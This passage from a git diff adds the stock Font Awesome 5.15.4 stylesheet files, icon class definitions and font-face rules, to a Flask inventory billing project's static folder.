"\f3e8"; } + +.fa-rockrms:before { + content: "\f3e9"; } + +.fa-route:before { + content: "\f4d7"; } + +.fa-rss:before { + content: "\f09e"; } + +.fa-rss-square:before { + content: "\f143"; } + +.fa-ruble-sign:before { + content: "\f158"; } + +.fa-ruler:before { + content: "\f545"; } + +.fa-ruler-combined:before { + content: "\f546"; } + +.fa-ruler-horizontal:before { + content: "\f547"; } + +.fa-ruler-vertical:before { + content: "\f548"; } + +.fa-running:before { + content: "\f70c"; } + +.fa-rupee-sign:before { + content: "\f156"; } + +.fa-rust:before { + content: "\e07a"; } + +.fa-sad-cry:before { + content: "\f5b3"; } + +.fa-sad-tear:before { + content: "\f5b4"; } + +.fa-safari:before { + content: "\f267"; } + +.fa-salesforce:before { + content: "\f83b"; } + +.fa-sass:before { + content: "\f41e"; } + +.fa-satellite:before { + content: "\f7bf"; } + +.fa-satellite-dish:before { + content: "\f7c0"; } + +.fa-save:before { + content: "\f0c7"; } + +.fa-schlix:before { + content: "\f3ea"; } + +.fa-school:before { + content: "\f549"; } + +.fa-screwdriver:before { + content: "\f54a"; } + +.fa-scribd:before { + content: "\f28a"; } + +.fa-scroll:before { + content: "\f70e"; } + +.fa-sd-card:before { + content: "\f7c2"; } + +.fa-search:before { + content: "\f002"; } + +.fa-search-dollar:before { + content: "\f688"; } + +.fa-search-location:before { + content: "\f689"; } + +.fa-search-minus:before { + content: "\f010"; } + +.fa-search-plus:before { + content: "\f00e"; } + +.fa-searchengin:before { + content: "\f3eb"; } + +.fa-seedling:before { + content: "\f4d8"; } + +.fa-sellcast:before { + content: "\f2da"; } + +.fa-sellsy:before { + content: "\f213"; } + +.fa-server:before { + content: "\f233"; } + +.fa-servicestack:before { + content: "\f3ec"; } + +.fa-shapes:before { + content: "\f61f"; } + +.fa-share:before { + content: "\f064"; } + +.fa-share-alt:before { + content: "\f1e0"; } + +.fa-share-alt-square:before { + content: "\f1e1"; } + +.fa-share-square:before { + content: "\f14d"; } + +.fa-shekel-sign:before { + content: "\f20b"; } + +.fa-shield-alt:before { + content: "\f3ed"; } + +.fa-shield-virus:before { + content: "\e06c"; } + +.fa-ship:before { + content: "\f21a"; } + +.fa-shipping-fast:before { + content: "\f48b"; } + +.fa-shirtsinbulk:before { + content: "\f214"; } + +.fa-shoe-prints:before { + content: "\f54b"; } + +.fa-shopify:before { + content: "\e057"; } + +.fa-shopping-bag:before { + content: "\f290"; } + +.fa-shopping-basket:before { + content: "\f291"; } + +.fa-shopping-cart:before { + content: "\f07a"; } + +.fa-shopware:before { + content: "\f5b5"; } + +.fa-shower:before { + content: "\f2cc"; } + +.fa-shuttle-van:before { + content: "\f5b6"; } + +.fa-sign:before { + content: "\f4d9"; } + +.fa-sign-in-alt:before { + content: "\f2f6"; } + +.fa-sign-language:before { + content: "\f2a7"; } + +.fa-sign-out-alt:before { + content: "\f2f5"; } + +.fa-signal:before { + content: "\f012"; } + +.fa-signature:before { + content: "\f5b7"; } + +.fa-sim-card:before { + content: "\f7c4"; } + +.fa-simplybuilt:before { + content: "\f215"; } + +.fa-sink:before { + content: "\e06d"; } + +.fa-sistrix:before { + content: "\f3ee"; } + +.fa-sitemap:before { + content: "\f0e8"; } + +.fa-sith:before { + content: "\f512"; } + +.fa-skating:before { + content: "\f7c5"; } + +.fa-sketch:before { + content: "\f7c6"; } + +.fa-skiing:before { + content: "\f7c9"; } + +.fa-skiing-nordic:before { + content: "\f7ca"; } + +.fa-skull:before { + content: "\f54c"; } + +.fa-skull-crossbones:before { + content: "\f714"; } + +.fa-skyatlas:before { + content: "\f216"; } + +.fa-skype:before { + content: "\f17e"; } + +.fa-slack:before { + content: "\f198"; } + +.fa-slack-hash:before { + content: "\f3ef"; } + +.fa-slash:before { + content: "\f715"; } + +.fa-sleigh:before { + content: "\f7cc"; } + +.fa-sliders-h:before { + content: "\f1de"; } + +.fa-slideshare:before { + content: "\f1e7"; } + +.fa-smile:before { + content: "\f118"; } + +.fa-smile-beam:before { + content: "\f5b8"; } + +.fa-smile-wink:before { + content: "\f4da"; } + +.fa-smog:before { + content: "\f75f"; } + +.fa-smoking:before { + content: "\f48d"; } + +.fa-smoking-ban:before { + content: "\f54d"; } + +.fa-sms:before { + content: "\f7cd"; } + +.fa-snapchat:before { + content: "\f2ab"; } + +.fa-snapchat-ghost:before { + content: "\f2ac"; } + +.fa-snapchat-square:before { + content: "\f2ad"; } + +.fa-snowboarding:before { + content: "\f7ce"; } + +.fa-snowflake:before { + content: "\f2dc"; } + +.fa-snowman:before { + content: "\f7d0"; } + +.fa-snowplow:before { + content: "\f7d2"; } + +.fa-soap:before { + content: "\e06e"; } + +.fa-socks:before { + content: "\f696"; } + +.fa-solar-panel:before { + content: "\f5ba"; } + +.fa-sort:before { + content: "\f0dc"; } + +.fa-sort-alpha-down:before { + content: "\f15d"; } + +.fa-sort-alpha-down-alt:before { + content: "\f881"; } + +.fa-sort-alpha-up:before { + content: "\f15e"; } + +.fa-sort-alpha-up-alt:before { + content: "\f882"; } + +.fa-sort-amount-down:before { + content: "\f160"; } + +.fa-sort-amount-down-alt:before { + content: "\f884"; } + +.fa-sort-amount-up:before { + content: "\f161"; } + +.fa-sort-amount-up-alt:before { + content: "\f885"; } + +.fa-sort-down:before { + content: "\f0dd"; } + +.fa-sort-numeric-down:before { + content: "\f162"; } + +.fa-sort-numeric-down-alt:before { + content: "\f886"; } + +.fa-sort-numeric-up:before { + content: "\f163"; } + +.fa-sort-numeric-up-alt:before { + content: "\f887"; } + +.fa-sort-up:before { + content: "\f0de"; } + +.fa-soundcloud:before { + content: "\f1be"; } + +.fa-sourcetree:before { + content: "\f7d3"; } + +.fa-spa:before { + content: "\f5bb"; } + +.fa-space-shuttle:before { + content: "\f197"; } + +.fa-speakap:before { + content: "\f3f3"; } + +.fa-speaker-deck:before { + content: "\f83c"; } + +.fa-spell-check:before { + content: "\f891"; } + +.fa-spider:before { + content: "\f717"; } + +.fa-spinner:before { + content: "\f110"; } + +.fa-splotch:before { + content: "\f5bc"; } + +.fa-spotify:before { + content: "\f1bc"; } + +.fa-spray-can:before { + content: "\f5bd"; } + +.fa-square:before { + content: "\f0c8"; } + +.fa-square-full:before { + content: "\f45c"; } + +.fa-square-root-alt:before { + content: "\f698"; } + +.fa-squarespace:before { + content: "\f5be"; } + +.fa-stack-exchange:before { + content: "\f18d"; } + +.fa-stack-overflow:before { + content: "\f16c"; } + +.fa-stackpath:before { + content: "\f842"; } + +.fa-stamp:before { + content: "\f5bf"; } + +.fa-star:before { + content: "\f005"; } + +.fa-star-and-crescent:before { + content: "\f699"; } + +.fa-star-half:before { + content: "\f089"; } + +.fa-star-half-alt:before { + content: "\f5c0"; } + +.fa-star-of-david:before { + content: "\f69a"; } + +.fa-star-of-life:before { + content: "\f621"; } + +.fa-staylinked:before { + content: "\f3f5"; } + +.fa-steam:before { + content: "\f1b6"; } + +.fa-steam-square:before { + content: "\f1b7"; } + +.fa-steam-symbol:before { + content: "\f3f6"; } + +.fa-step-backward:before { + content: "\f048"; } + +.fa-step-forward:before { + content: "\f051"; } + +.fa-stethoscope:before { + content: "\f0f1"; } + +.fa-sticker-mule:before { + content: "\f3f7"; } + +.fa-sticky-note:before { + content: "\f249"; } + +.fa-stop:before { + content: "\f04d"; } + +.fa-stop-circle:before { + content: "\f28d"; } + +.fa-stopwatch:before { + content: "\f2f2"; } + +.fa-stopwatch-20:before { + content: "\e06f"; } + +.fa-store:before { + content: "\f54e"; } + +.fa-store-alt:before { + content: "\f54f"; } + +.fa-store-alt-slash:before { + content: "\e070"; } + +.fa-store-slash:before { + content: "\e071"; } + +.fa-strava:before { + content: "\f428"; } + +.fa-stream:before { + content: "\f550"; } + +.fa-street-view:before { + content: "\f21d"; } + +.fa-strikethrough:before { + content: "\f0cc"; } + +.fa-stripe:before { + content: "\f429"; } + +.fa-stripe-s:before { + content: "\f42a"; } + +.fa-stroopwafel:before { + content: "\f551"; } + +.fa-studiovinari:before { + content: "\f3f8"; } + +.fa-stumbleupon:before { + content: "\f1a4"; } + +.fa-stumbleupon-circle:before { + content: "\f1a3"; } + +.fa-subscript:before { + content: "\f12c"; } + +.fa-subway:before { + content: "\f239"; } + +.fa-suitcase:before { + content: "\f0f2"; } + +.fa-suitcase-rolling:before { + content: "\f5c1"; } + +.fa-sun:before { + content: "\f185"; } + +.fa-superpowers:before { + content: "\f2dd"; } + +.fa-superscript:before { + content: "\f12b"; } + +.fa-supple:before { + content: "\f3f9"; } + +.fa-surprise:before { + content: "\f5c2"; } + +.fa-suse:before { + content: "\f7d6"; } + +.fa-swatchbook:before { + content: "\f5c3"; } + +.fa-swift:before { + content: "\f8e1"; } + +.fa-swimmer:before { + content: "\f5c4"; } + +.fa-swimming-pool:before { + content: "\f5c5"; } + +.fa-symfony:before { + content: "\f83d"; } + +.fa-synagogue:before { + content: "\f69b"; } + +.fa-sync:before { + content: "\f021"; } + +.fa-sync-alt:before { + content: "\f2f1"; } + +.fa-syringe:before { + content: "\f48e"; } + +.fa-table:before { + content: "\f0ce"; } + +.fa-table-tennis:before { + content: "\f45d"; } + +.fa-tablet:before { + content: "\f10a"; } + +.fa-tablet-alt:before { + content: "\f3fa"; } + +.fa-tablets:before { + content: "\f490"; } + +.fa-tachometer-alt:before { + content: "\f3fd"; } + +.fa-tag:before { + content: "\f02b"; } + +.fa-tags:before { + content: "\f02c"; } + +.fa-tape:before { + content: "\f4db"; } + +.fa-tasks:before { + content: "\f0ae"; } + +.fa-taxi:before { + content: "\f1ba"; } + +.fa-teamspeak:before { + content: "\f4f9"; } + +.fa-teeth:before { + content: "\f62e"; } + +.fa-teeth-open:before { + content: "\f62f"; } + +.fa-telegram:before { + content: "\f2c6"; } + +.fa-telegram-plane:before { + content: "\f3fe"; } + +.fa-temperature-high:before { + content: "\f769"; } + +.fa-temperature-low:before { + content: "\f76b"; } + +.fa-tencent-weibo:before { + content: "\f1d5"; } + +.fa-tenge:before { + content: "\f7d7"; } + +.fa-terminal:before { + content: "\f120"; } + +.fa-text-height:before { + content: "\f034"; } + +.fa-text-width:before { + content: "\f035"; } + +.fa-th:before { + content: "\f00a"; } + +.fa-th-large:before { + content: "\f009"; } + +.fa-th-list:before { + content: "\f00b"; } + +.fa-the-red-yeti:before { + content: "\f69d"; } + +.fa-theater-masks:before { + content: "\f630"; } + +.fa-themeco:before { + content: "\f5c6"; } + +.fa-themeisle:before { + content: "\f2b2"; } + +.fa-thermometer:before { + content: "\f491"; } + +.fa-thermometer-empty:before { + content: "\f2cb"; } + +.fa-thermometer-full:before { + content: "\f2c7"; } + +.fa-thermometer-half:before { + content: "\f2c9"; } + +.fa-thermometer-quarter:before { + content: "\f2ca"; } + +.fa-thermometer-three-quarters:before { + content: "\f2c8"; } + +.fa-think-peaks:before { + content: "\f731"; } + +.fa-thumbs-down:before { + content: "\f165"; } + +.fa-thumbs-up:before { + content: "\f164"; } + +.fa-thumbtack:before { + content: "\f08d"; } + +.fa-ticket-alt:before { + content: "\f3ff"; } + +.fa-tiktok:before { + content: "\e07b"; } + +.fa-times:before { + content: "\f00d"; } + +.fa-times-circle:before { + content: "\f057"; } + +.fa-tint:before { + content: "\f043"; } + +.fa-tint-slash:before { + content: "\f5c7"; } + +.fa-tired:before { + content: "\f5c8"; } + +.fa-toggle-off:before { + content: "\f204"; } + +.fa-toggle-on:before { + content: "\f205"; } + +.fa-toilet:before { + content: "\f7d8"; } + +.fa-toilet-paper:before { + content: "\f71e"; } + +.fa-toilet-paper-slash:before { + content: "\e072"; } + +.fa-toolbox:before { + content: "\f552"; } + +.fa-tools:before { + content: "\f7d9"; } + +.fa-tooth:before { + content: "\f5c9"; } + +.fa-torah:before { + content: "\f6a0"; } + +.fa-torii-gate:before { + content: "\f6a1"; } + +.fa-tractor:before { + content: "\f722"; } + +.fa-trade-federation:before { + content: "\f513"; } + +.fa-trademark:before { + content: "\f25c"; } + +.fa-traffic-light:before { + content: "\f637"; } + +.fa-trailer:before { + content: "\e041"; } + +.fa-train:before { + content: "\f238"; } + +.fa-tram:before { + content: "\f7da"; } + +.fa-transgender:before { + content: "\f224"; } + +.fa-transgender-alt:before { + content: "\f225"; } + +.fa-trash:before { + content: "\f1f8"; } + +.fa-trash-alt:before { + content: "\f2ed"; } + +.fa-trash-restore:before { + content: "\f829"; } + +.fa-trash-restore-alt:before { + content: "\f82a"; } + +.fa-tree:before { + content: "\f1bb"; } + +.fa-trello:before { + content: "\f181"; } + +.fa-trophy:before { + content: "\f091"; } + +.fa-truck:before { + content: "\f0d1"; } + +.fa-truck-loading:before { + content: "\f4de"; } + +.fa-truck-monster:before { + content: "\f63b"; } + +.fa-truck-moving:before { + content: "\f4df"; } + +.fa-truck-pickup:before { + content: "\f63c"; } + +.fa-tshirt:before { + content: "\f553"; } + +.fa-tty:before { + content: "\f1e4"; } + +.fa-tumblr:before { + content: "\f173"; } + +.fa-tumblr-square:before { + content: "\f174"; } + +.fa-tv:before { + content: "\f26c"; } + +.fa-twitch:before { + content: "\f1e8"; } + +.fa-twitter:before { + content: "\f099"; } + +.fa-twitter-square:before { + content: "\f081"; } + +.fa-typo3:before { + content: "\f42b"; } + +.fa-uber:before { + content: "\f402"; } + +.fa-ubuntu:before { + content: "\f7df"; } + +.fa-uikit:before { + content: "\f403"; } + +.fa-umbraco:before { + content: "\f8e8"; } + +.fa-umbrella:before { + content: "\f0e9"; } + +.fa-umbrella-beach:before { + content: "\f5ca"; } + +.fa-uncharted:before { + content: "\e084"; } + +.fa-underline:before { + content: "\f0cd"; } + +.fa-undo:before { + content: "\f0e2"; } + +.fa-undo-alt:before { + content: "\f2ea"; } + +.fa-uniregistry:before { + content: "\f404"; } + +.fa-unity:before { + content: "\e049"; } + +.fa-universal-access:before { + content: "\f29a"; } + +.fa-university:before { + content: "\f19c"; } + +.fa-unlink:before { + content: "\f127"; } + +.fa-unlock:before { + content: "\f09c"; } + +.fa-unlock-alt:before { + content: "\f13e"; } + +.fa-unsplash:before { + content: "\e07c"; } + +.fa-untappd:before { + content: "\f405"; } + +.fa-upload:before { + content: "\f093"; } + +.fa-ups:before { + content: "\f7e0"; } + +.fa-usb:before { + content: "\f287"; } + +.fa-user:before { + content: "\f007"; } + +.fa-user-alt:before { + content: "\f406"; } + +.fa-user-alt-slash:before { + content: "\f4fa"; } + +.fa-user-astronaut:before { + content: "\f4fb"; } + +.fa-user-check:before { + content: "\f4fc"; } + +.fa-user-circle:before { + content: "\f2bd"; } + +.fa-user-clock:before { + content: "\f4fd"; } + +.fa-user-cog:before { + content: "\f4fe"; } + +.fa-user-edit:before { + content: "\f4ff"; } + +.fa-user-friends:before { + content: "\f500"; } + +.fa-user-graduate:before { + content: "\f501"; } + +.fa-user-injured:before { + content: "\f728"; } + +.fa-user-lock:before { + content: "\f502"; } + +.fa-user-md:before { + content: "\f0f0"; } + +.fa-user-minus:before { + content: "\f503"; } + +.fa-user-ninja:before { + content: "\f504"; } + +.fa-user-nurse:before { + content: "\f82f"; } + +.fa-user-plus:before { + content: "\f234"; } + +.fa-user-secret:before { + content: "\f21b"; } + +.fa-user-shield:before { + content: "\f505"; } + +.fa-user-slash:before { + content: "\f506"; } + +.fa-user-tag:before { + content: "\f507"; } + +.fa-user-tie:before { + content: "\f508"; } + +.fa-user-times:before { + content: "\f235"; } + +.fa-users:before { + content: "\f0c0"; } + +.fa-users-cog:before { + content: "\f509"; } + +.fa-users-slash:before { + content: "\e073"; } + +.fa-usps:before { + content: "\f7e1"; } + +.fa-ussunnah:before { + content: "\f407"; } + +.fa-utensil-spoon:before { + content: "\f2e5"; } + +.fa-utensils:before { + content: "\f2e7"; } + +.fa-vaadin:before { + content: "\f408"; } + +.fa-vector-square:before { + content: "\f5cb"; } + +.fa-venus:before { + content: "\f221"; } + +.fa-venus-double:before { + content: "\f226"; } + +.fa-venus-mars:before { + content: "\f228"; } + +.fa-vest:before { + content: "\e085"; } + +.fa-vest-patches:before { + content: "\e086"; } + +.fa-viacoin:before { + content: "\f237"; } + +.fa-viadeo:before { + content: "\f2a9"; } + +.fa-viadeo-square:before { + content: "\f2aa"; } + +.fa-vial:before { + content: "\f492"; } + +.fa-vials:before { + content: "\f493"; } + +.fa-viber:before { + content: "\f409"; } + +.fa-video:before { + content: "\f03d"; } + +.fa-video-slash:before { + content: "\f4e2"; } + +.fa-vihara:before { + content: "\f6a7"; } + +.fa-vimeo:before { + content: "\f40a"; } + +.fa-vimeo-square:before { + content: "\f194"; } + +.fa-vimeo-v:before { + content: "\f27d"; } + +.fa-vine:before { + content: "\f1ca"; } + +.fa-virus:before { + content: "\e074"; } + +.fa-virus-slash:before { + content: "\e075"; } + +.fa-viruses:before { + content: "\e076"; } + +.fa-vk:before { + content: "\f189"; } + +.fa-vnv:before { + content: "\f40b"; } + +.fa-voicemail:before { + content: "\f897"; } + +.fa-volleyball-ball:before { + content: "\f45f"; } + +.fa-volume-down:before { + content: "\f027"; } + +.fa-volume-mute:before { + content: "\f6a9"; } + +.fa-volume-off:before { + content: "\f026"; } + +.fa-volume-up:before { + content: "\f028"; } + +.fa-vote-yea:before { + content: "\f772"; } + +.fa-vr-cardboard:before { + content: "\f729"; } + +.fa-vuejs:before { + content: "\f41f"; } + +.fa-walking:before { + content: "\f554"; } + +.fa-wallet:before { + content: "\f555"; } + +.fa-warehouse:before { + content: "\f494"; } + +.fa-watchman-monitoring:before { + content: "\e087"; } + +.fa-water:before { + content: "\f773"; } + +.fa-wave-square:before { + content: "\f83e"; } + +.fa-waze:before { + content: "\f83f"; } + +.fa-weebly:before { + content: "\f5cc"; } + +.fa-weibo:before { + content: "\f18a"; } + +.fa-weight:before { + content: "\f496"; } + +.fa-weight-hanging:before { + content: "\f5cd"; } + +.fa-weixin:before { + content: "\f1d7"; } + +.fa-whatsapp:before { + content: "\f232"; } + +.fa-whatsapp-square:before { + content: "\f40c"; } + +.fa-wheelchair:before { + content: "\f193"; } + +.fa-whmcs:before { + content: "\f40d"; } + +.fa-wifi:before { + content: "\f1eb"; } + +.fa-wikipedia-w:before { + content: "\f266"; } + +.fa-wind:before { + content: "\f72e"; } + +.fa-window-close:before { + content: "\f410"; } + +.fa-window-maximize:before { + content: "\f2d0"; } + +.fa-window-minimize:before { + content: "\f2d1"; } + +.fa-window-restore:before { + content: "\f2d2"; } + +.fa-windows:before { + content: "\f17a"; } + +.fa-wine-bottle:before { + content: "\f72f"; } + +.fa-wine-glass:before { + content: "\f4e3"; } + +.fa-wine-glass-alt:before { + content: "\f5ce"; } + +.fa-wix:before { + content: "\f5cf"; } + +.fa-wizards-of-the-coast:before { + content: "\f730"; } + +.fa-wodu:before { + content: "\e088"; } + +.fa-wolf-pack-battalion:before { + content: "\f514"; } + +.fa-won-sign:before { + content: "\f159"; } + +.fa-wordpress:before { + content: "\f19a"; } + +.fa-wordpress-simple:before { + content: "\f411"; } + +.fa-wpbeginner:before { + content: "\f297"; } + +.fa-wpexplorer:before { + content: "\f2de"; } + +.fa-wpforms:before { + content: "\f298"; } + +.fa-wpressr:before { + content: "\f3e4"; } + +.fa-wrench:before { + content: "\f0ad"; } + +.fa-x-ray:before { + content: "\f497"; } + +.fa-xbox:before { + content: "\f412"; } + +.fa-xing:before { + content: "\f168"; } + +.fa-xing-square:before { + content: "\f169"; } + +.fa-y-combinator:before { + content: "\f23b"; } + +.fa-yahoo:before { + content: "\f19e"; } + +.fa-yammer:before { + content: "\f840"; } + +.fa-yandex:before { + content: "\f413"; } + +.fa-yandex-international:before { + content: "\f414"; } + +.fa-yarn:before { + content: "\f7e3"; } + +.fa-yelp:before { + content: "\f1e9"; } + +.fa-yen-sign:before { + content: "\f157"; } + +.fa-yin-yang:before { + content: "\f6ad"; } + +.fa-yoast:before { + content: "\f2b1"; } + +.fa-youtube:before { + content: "\f167"; } + +.fa-youtube-square:before { + content: "\f431"; } + +.fa-zhihu:before { + content: "\f63f"; } + +.sr-only { + border: 0; + clip: rect(0, 0, 0, 0); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; } + +.sr-only-focusable:active, .sr-only-focusable:focus { + clip: auto; + height: auto; + margin: 0; + overflow: visible; + position: static; + width: auto; } +@font-face { + font-family: 'Font Awesome 5 Brands'; + font-style: normal; + font-weight: 400; + font-display: block; + src: url("../webfonts/fa-brands-400.eot"); + src: url("../webfonts/fa-brands-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.woff") format("woff"), url("../webfonts/fa-brands-400.ttf") format("truetype"), url("../webfonts/fa-brands-400.svg#fontawesome") format("svg"); } + +.fab { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 400; + font-display: block; + src: url("../webfonts/fa-regular-400.eot"); + src: url("../webfonts/fa-regular-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.woff") format("woff"), url("../webfonts/fa-regular-400.ttf") format("truetype"), url("../webfonts/fa-regular-400.svg#fontawesome") format("svg"); } + +.far { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 900; + font-display: block; + src: url("../webfonts/fa-solid-900.eot"); + src: url("../webfonts/fa-solid-900.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.woff") format("woff"), url("../webfonts/fa-solid-900.ttf") format("truetype"), url("../webfonts/fa-solid-900.svg#fontawesome") format("svg"); } + +.fa, +.fas { + font-family: 'Font Awesome 5 Free'; + font-weight: 900; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/all.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/all.min.css new file mode 100644 index 00000000..ac76ff19 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/all.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-artstation:before{content:"\f77a"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asterisk:before{content:"\f069"}.fa-asymmetrik:before{content:"\f372"}.fa-at:before{content:"\f1fa"}.fa-atlas:before{content:"\f558"}.fa-atlassian:before{content:"\f77b"}.fa-atom:before{content:"\f5d2"}.fa-audible:before{content:"\f373"}.fa-audio-description:before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{content:"\f77d"}.fa-backspace:before{content:"\f55a"}.fa-backward:before{content:"\f04a"}.fa-bacon:before{content:"\f7e5"}.fa-bacteria:before{content:"\e059"}.fa-bacterium:before{content:"\e05a"}.fa-bahai:before{content:"\f666"}.fa-balance-scale:before{content:"\f24e"}.fa-balance-scale-left:before{content:"\f515"}.fa-balance-scale-right:before{content:"\f516"}.fa-ban:before{content:"\f05e"}.fa-band-aid:before{content:"\f462"}.fa-bandcamp:before{content:"\f2d5"}.fa-barcode:before{content:"\f02a"}.fa-bars:before{content:"\f0c9"}.fa-baseball-ball:before{content:"\f433"}.fa-basketball-ball:before{content:"\f434"}.fa-bath:before{content:"\f2cd"}.fa-battery-empty:before{content:"\f244"}.fa-battery-full:before{content:"\f240"}.fa-battery-half:before{content:"\f242"}.fa-battery-quarter:before{content:"\f243"}.fa-battery-three-quarters:before{content:"\f241"}.fa-battle-net:before{content:"\f835"}.fa-bed:before{content:"\f236"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{conte